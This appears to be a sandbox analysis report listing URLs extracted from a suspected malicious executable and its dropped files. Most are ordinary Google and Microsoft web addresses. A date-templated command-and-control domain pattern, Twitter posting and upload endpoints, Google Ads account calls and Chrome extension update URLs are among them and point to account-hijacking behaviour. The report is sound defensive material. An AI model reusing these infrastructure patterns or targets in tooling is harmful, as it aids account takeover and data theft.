Source: ecvB803.tmp.11.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=68568119166
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=1463674
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284978493.000000000072F000.00000004.00000001.sdmp, Web Data1612045902911.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://accounts.google.com
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/GaiaInfoService/Get?authuser=0&rpcTrackingId=GaiaInfoService.Get%3A
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/UserByGaiaService/Get?authuser=0&rpcTrackingId=UserByGaiaService.Ge
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/UserCustomerAccessService/List?authuser=0&rpcTrackingId=UserCustome
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/selectaccount
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/selectaccountocation:
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.comsec-fetch-dest:
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gt
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gtm=
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://amp.azure.net/libs/amp/1.8.0/azuremediaplayer.min.js
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://api.twitter.com/1.1/statuses/update.json
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://api.twitter.com/1.1/statuses/update.jsoninclude_profile_interstitial_type=1&include_blocking
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://apis.google.com
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC54c8a2b02c3446f48a60b41e8a5ff47
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC9b2d2bc73c8a4a1d8dd5c3d69b6634a
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc71c68d7b8f049b6a6f3b669bd5d00c
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCfd484f9188564713bbc5d13d862ebbf
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://assets.adobedtm.com/launch-EN7b3d710ac67a4a1195648458258f97dd.min.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://az416426.vo.msecnd.net/scripts/a/ai.0.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284978493.000000000072F000.00000004.00000001.sdmp, Web Data1612045902911.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.272953310.0000000003F20000.00000004.00000001.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262358727.0000000003FAB000.00000004.00000001.sdmp, background.js.4.dr	String found in binary or memory: https://chrome.google.com/webstore/category/extension
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.272918469.000000000309C000.00000004.00000040.sdmp	String found in binary or memory: https://chrome.google.com/webstoreAA
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://clients2.google.com/service/update2/cr
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.272953310.0000000003F20000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx5
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx=
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxM
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://content.googleapis.com
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://contextual.media.net/
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://contextual.media.net/48/nrrV18753.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368731244.00000000034EF000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275181666.00000000033EF000.00000004.00000001.sdmp	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD3B6173
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262688251.0000000003F57000.00000004.00000001.sdmp	String found in binary or memory: https://docs.google.com/
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262688251.0000000003F57000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://drive.google.com/?usp=chrome_app
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/?usp=chrome_appk/B
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://drive.google.com/drive/settings
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/drive/settingsawl7
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284978493.000000000072F000.00000004.00000001.sdmp, Web Data1612045902911.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284978493.000000000072F000.00000004.00000001.sdmp, Web Data1612045902911.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284978493.000000000072F000.00000004.00000001.sdmp, Web Data1612045902911.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://exchangework%04d%02d%02d.xyz/http://changenewsys%04d%02d%02d.xyz/post_info.
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://feedback.googleusercontent.com
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Google
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com;
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UaGrENHsxJlGDuGo1OIlI3K.woff
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UabrENHsxJlGDuGo1OIlLU94bt3.woff
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAA.woff
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5g.woff
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://hangouts.google.com/
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DnuZ
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnv6
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnwt
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DsDH
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmQ
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmV
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmZ
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FGwC
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n1yl
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n4cm
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJ7
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJa
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4nqTh
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4sQww?ver=37ff
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tD2S
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tG3O
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoW
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoY
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tKUA
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOD
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOM
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tQVa
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4u1kF
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ubMD
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4wqj5
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4zuiC
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1601452923&rver=6.0.5286.0&wp=MBI_SSL&wre
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b5
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc1937
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v21033_-0mnSwu67knBd7qR7YN9GQ2.css
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en_5QoHC_ilFOmb96M0pIeJ
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/OldConvergedLogin_PCore_xqcDwEKeDux9oCNjuqEZ-A2.js
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://mail.google.com/mail
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://mail.google.com/mail/#settings
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://maps.windows.com/windows-app-web-link
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://mwf-service.akamaized.net/mwf/css/bundle/1.57.0/west-european/default/mwf-main.min.css
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://mwf-service.akamaized.net/mwf/js/bundle/1.57.0/mwf-auto-init-main.var.min.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2020-07-22-21-45-19/PreSignInSettingsConfig.json
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2020-07-24-17-35-16/PreSignInSettingsConfig.json?One
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/20.124.0621.0006/update10.xml?OneDriveUpdate=79d8737dc86cbccc6833c
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://onecs-live.azureedge.net/api/settings/en-US/xml/settings-tipset?release=rs4
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://payments.google.com/
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.jstW2
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://pki.goog/repository/0
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://prod-video-cms-rt-microsoft-com.akamaized.net/vhs/api/videos/RE4sQBc
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://sandbox.google.com/
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integr
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.jsuSS4
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284978493.000000000072F000.00000004.00000001.sdmp, Web Data1612045902911.3.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284978493.000000000072F000.00000004.00000001.sdmp, Web Data1612045902911.3.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://srtb.msn.com/auction?a=de-ch&b=a8415ac9f9644a1396bc1648a4599445&c=MSN&d=http%3A%2F%2Fwww.msn
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://statics-marketingsites-neu-ms-com.akamaized.net/statics/override.css?c=7
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284546923.0000000003F0F000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284617866.0000000003F9F000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284658762.0000000003F02000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284658762.0000000003F02000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: 63C4F3D9EA0CC861.exe, 00000003.00000003.284617866.0000000003F9F000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/compose/tweetsec-fetch-dest:
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/compose/tweetsec-fetch-mode:
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/ookie:
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.comReferer:
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.comsec-fetch-dest:
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json%dcommand=INIT&total_bytes=&media_type=image%2Fjpeg&me
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json?command=APPEND&media_id=%s&segment_index=0
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json?command=APPEND&media_id=%s&segment_index=0accept:
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.jsoncommand=FINALIZE&media_id=
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp, ecvB803.tmp.11.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=GTM-N7S69J3&cid=485847574.1601477586
Source: 63C4F3D9EA0CC861.exe, 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262299790.0000000003F62000.00000004.00000001.sdmp, ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/
Source: 63C4F3D9EA0CC861.exe, 00000004.00000003.262093125.0000000003F27000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/7
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/application/x-msdownloadC:
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v2.min.css
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v3.min.css
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/app-store-download.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome-logo.svg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_safari-behavior.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_throbber_fast.gif
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/cursor-replay.cur
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_phone.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_tablet.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-description-white-blue-bg.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-fb.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-file-download.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-help.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-youtube.jpg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/folder-applications.svg
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/google-play-download.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-beta.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-canary.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-dev.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-enterprise.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_features.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_privacy.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_tools.png
Source: ecvB803.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/laptop_desktop.png
